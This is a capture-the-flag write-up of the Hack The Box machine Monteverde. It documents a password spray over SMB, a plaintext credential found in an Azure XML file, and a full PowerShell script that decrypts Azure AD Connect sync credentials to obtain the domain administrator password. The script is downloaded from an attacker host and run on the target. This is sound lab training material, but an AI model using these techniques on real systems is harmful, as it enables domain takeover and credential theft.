Hackthebox – Monteverde

As with any machine, Monteverde also started with several port scans including a -A scan

root@kalivm:~/Monteverde# nmap -A -oN fullscan-A 10.10.10.172
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-15 08:11 CET
Nmap scan report for 10.10.10.172
Host is up (0.030s latency).
Not shown: 989 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-03-15 06:23:12Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -48m31s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-03-15T06:25:40
|_  start_date: N/A

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   20.11 ms 10.10.14.1
2   20.29 ms 10.10.10.172 (10.10.10.172)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 322.22 seconds

As with many windows targets on HTB, it appears that ports 445 (SMB) and the default Domain Controler ports are open. So this is most likely the way to go for this box.

root@kalivm:~/Monteverde# enum4linux -a 10.10.10.172
---snip---
 =========================================== 
|    Getting domain SID for 10.10.10.172    |
 =========================================== 
Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492
[+] Host is part of a domain (not a workgroup)

 ====================================== 
|    OS information on 10.10.10.172    |
 ====================================== 
[+] Got OS info for 10.10.10.172 from smbclient: 
[+] Got OS info for 10.10.10.172 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ============================= 
|    Users on 10.10.10.172    |
 ============================= 
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2       Name: AAD_987d7f2f57d2  Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos       Name: Dimitris Galanos  Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope  Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary        Name: Ray O'Leary       Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs    Name: SABatchJobs       Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan        Name: Sally Morgan      Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata        Name: svc-ata   Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec      Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp     Name: svc-netapp        Desc: (null)
---snip---

First I tried to enumerate using enum4linux, and although that gave me some errors, the output of the user accounts appeared useful. Several accounts present, and apparently one AzureAD (AAD) account for synchronization services which I all stored in a users.txt file.

root@kalivm:~/Monteverde# msfconsole
---snip---
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set user_as_pass true
user_as_pass => true
msf5 auxiliary(scanner/smb/smb_login) > set user_file users.txt
user_file => users.txt
msf5 auxiliary(scanner/smb/smb_login) > set rhosts 10.10.10.172
rhosts => 10.10.10.172
msf5 auxiliary(scanner/smb/smb_login) > run

[*] 10.10.10.172:445      - 10.10.10.172:445 - Starting SMB login bruteforce
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\Guest:Guest',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\AAD_987d7f2f57d2:AAD_987d7f2f57d2',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\mhope:mhope',
[+] 10.10.10.172:445      - 10.10.10.172:445 - Success: '.\SABatchJobs:SABatchJobs'
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\svc-ata:svc-ata',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\svc-bexec:svc-bexec',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\svc-netapp:svc-netapp',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\dgalanos:dgalanos',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\roleary:roleary',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: '.\smorgan:smorgan',
[*] 10.10.10.172:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As connecting with a Null-session was not working, I lazily tried all accounts with username=password using the MSF SMB Login scan to begin with, which seemed to work for the SABatchJobs. This was apparently the way in.

root@kalivm:~/Monteverde# smbclient -U SABatchJobs -L \\10.10.10.172
Enter WORKGROUP\SABatchJobs's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        azure_uploads   Disk      
        C$              Disk      Default share
        E$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        users$          Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

This provided me with at least the default NETLOGON and SYSVOL shares, and an azure_uploads and users$ share which are worth further investigation.

root@kalivm:~/Monteverde# smbclient -U SABatchJobs //10.10.10.172/users$
Enter WORKGROUP\SABatchJobs's password: 
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> ls
  .                                   D        0  Fri Jan  3 14:12:48 2020
  ..                                  D        0  Fri Jan  3 14:12:48 2020
  dgalanos                            D        0  Fri Jan  3 14:12:30 2020
  mhope                               D        0  Fri Jan  3 14:41:18 2020
  roleary                             D        0  Fri Jan  3 14:10:30 2020
  smorgan                             D        0  Fri Jan  3 14:10:24 2020

                524031 blocks of size 4096. 519955 blocks available
---snip---
\mhope
  .                                   D        0  Fri Jan  3 14:41:18 2020
  ..                                  D        0  Fri Jan  3 14:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 14:40:23 2020
---snip---
                524031 blocks of size 4096. 519955 blocks available
smb: \> cd mhope
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (5.5 KiloBytes/sec) (average 5.5 KiloBytes/sec)

After browsing the other shares, they did not contain much of use, however when looking at the users$ share, I found an azure.xml file which could be interesting.

root@kalivm:~/Monteverde# cat azure.xml 
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

This file contained a password and was located in the user directory of user mhope. Perhaps this password is worth a try using the winRM shell I used on other windows boxes recently.

root@kalivm:~/Monteverde# ruby mhope.rb 
PS >  whoami
megabank\mhope

So I am logged in as mhope now, all that is left is to get that user flag!

PS > cd ../Desktop
PS > dir

    Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         1/3/2020   5:48 AM             32 user.txt

PS > type user.txt
4961976<NOFLAG>eb2ce3705e2f212f2

And there I’ve got the flag! Time to get root access!

Privilege escalation

As I had already noticed various Azure related files on the box, my first guess was that that would also be the privilege escalation path. However, as with any box, It starts with getting familiar with what the user has and can do on the system.

PS > cd ..
PS > dir


    Directory: C:\Users\mhope


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/15/2020   2:41 AM                .Azure
d-r---         1/3/2020   5:24 AM                3D Objects
d-r---         1/3/2020   5:24 AM                Contacts
d-r---        3/15/2020   2:51 AM                Desktop
d-r---        3/15/2020   3:06 AM                Documents
d-r---         1/3/2020   5:24 AM                Downloads
d-r---         1/3/2020   5:24 AM                Favorites
d-r---         1/3/2020   5:24 AM                Links
d-r---         1/3/2020   5:24 AM                Music
d-r---         1/3/2020   5:24 AM                Pictures
d-r---         1/3/2020   5:24 AM                Saved Games
d-r---         1/3/2020   5:24 AM                Searches
d-r---         1/3/2020   5:24 AM                Videos

As part of the normal privilege escalation, I was browsing mhope’s home directory and notices the .Azure directory. It contained some JSON files and a reference to a microsoft account which made me think this box could be connected to Azure AD.

PS > net users

User accounts for \\

-------------------------------------------------------------------------------
AAD_987d7f2f57d2         Administrator            dgalanos                 
Guest                    krbtgt                   mhope                    
roleary                  SABatchJobs              smorgan                  
svc-ata                  svc-bexec                svc-netapp               
The command completed with one or more errors.

After seeing both the AzureAD account and the .Azure directory, I was convinced that this should be the way to go and googled feasible attack scenarios. Thereby I came up to this Azure redteam post which nicely describes how the whole encrypted entries are stored and can be decrypted if mcrypt.dll is present on the system.

PS > dir "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"

    Directory: C:\Program Files\Microsoft Azure AD Sync\Bin

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/31/2018   4:54 PM         335744 mcrypt.dll

A quick check confirmed that the file indeed existed on the system. So time to try out that powershell script.

PS > IWR -uri 10.10.15.161:8000/getCred.ps1 -outfile getCred.ps1
PS > .\getCred.ps1
Traceback (most recent call last):
        15: from mhope.rb:11:in `<main>'
        14: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/connection.rb:42:in `shell'
        13: from mhope.rb:15:in `block in <main>'
        12: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/shells/base.rb:79:in `run'
        11: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/shells/base.rb:131:in `with_command_shell'
        10: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/shells/base.rb:80:in `block in run'
         9: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/psrp/receive_response_reader.rb:58:in `read_output'
         8: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/wsmv/receive_response_reader.rb:73:in `with_output'
         7: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/psrp/receive_response_reader.rb:59:in `block in read_output'
         6: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/psrp/receive_response_reader.rb:39:in `read_message'
         5: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/wsmv/receive_response_reader.rb:61:in `read_response'
         4: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/wsmv/receive_response_reader.rb:93:in `send_get_output_message'
         3: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/http/transport.rb:186:in `send_request'
         2: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/http/response_handler.rb:34:in `parse_to_xml'
         1: from /var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/http/response_handler.rb:52:in `raise_if_error'
/var/lib/gems/2.5.0/gems/winrm-2.3.2/lib/winrm/http/response_handler.rb:73:in `raise_if_wsman_fault': [WSMAN ERROR CODE: 3221225477]: <f:WSManFault Code='3221225477' Machine='10.10.10.172' xmlns:f='http://schemas.microsoft.com/wbem/wsman/1/wsmanfault'><f:Message><f:ProviderFault path='C:\Windows\system32\pwrshplugin.dll' provider='microsoft.powershell'/></f:Message></f:WSManFault> (WinRM::WinRMWSManFault)

However, after transferring the powershell script and trying to run it, I got nothing but errors. First thing I decided to check was if the commands in the powershell script were working at all. Since I found the SQLCMD binary in C:\Program Files\Microsoft SQL Server\110\Tools\Binn, I decided to try that, as the SqlLocalDb.exe mentioned in the blog post was not present on the system.

PS > sqlcmd -d ADSync -q "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
keyset_id   instance_id                          entropy
----------- ------------------------------------ ------------------------------------
          1 1852B527-DD4F-4ECF-B541-EFCCBFF29E31 194EC2FC-F186-46CF-B44D-071EB61F49CD

(1 rows affected)

So that appeared to work, after some fiddling with the various lines in the script, I found out that the main issue was in the first few lines.

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.ConnectionString = "Server = localhost; Database = ADSync; Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {>
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression =>
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

After removing the ArgumentList parameters on the second line, and including a ConnectionString variable with the right parameters, all I need to do is transfer the getCred.ps1 script again.

PS > IWR -uri http://10.10.15.161:8000/getCred.ps1 -outfile getCred.ps1
PS > ./getCred.ps1
AD Connect Sync Credential Extract POC (@_xpn_)

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

So now I’ve got the Administrator’s password and I can re-use the ruby winRM shell to gain access to the root flag!

root@kalivm:~/Monteverde# ruby admin.rb 
PS > whoami
megabank\administrator

Yeah! I’m logged in as administrator. Now lets get that root flag!

PS > cd ../Desktop
PS > dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         1/3/2020   5:48 AM             32 root.txt

PS > type root.txt
1290961<NOFLAG>f6e5a07d1a804a0bc

And there is the root flag! A nice box and learned some things about the crypted storage of Azure AD account details here!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.